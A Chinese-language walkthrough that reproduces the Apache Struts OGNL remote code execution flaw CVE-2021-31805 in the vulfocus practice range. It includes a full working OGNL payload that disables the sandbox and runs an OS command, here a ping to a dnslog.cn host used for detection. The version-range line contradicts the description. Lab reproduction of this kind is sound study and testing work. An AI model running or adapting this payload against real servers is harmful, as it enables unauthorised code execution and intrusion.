一、漏洞描述
該漏洞是由於對S2-061(CVE-2020-17530)的修復不完整,在Apache Struts 2.0.0-2.5.29版本范圍內,如果開發人員使用 %{xxx} 語法進行強制OGNL解析時,標簽的某些屬性仍然可被二次解析。當解析未經驗證的用戶輸入時可能會導致遠程代碼執行。
二、影響范圍
2.0.0 <= Struts >=2.5.29
三、漏洞復現
復現環境:vulfocus靶場
注冊登錄后啟動CVE-2021-31805漏洞環境
訪問漏洞地址,訪問地址+測試路徑。
這里使用Post方式傳參,如果使用Get方法,抓包時需將Get改為Post。
burp抓包發送Repeater,在name參數后插入payload。
由於靶場無回顯,這里使用dnslog探測。
payload:
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping 2842la.dnslog.cn'}))
這里將payload進行URL編碼后發送,可在dnslog平台看到有響應,說明漏洞存在。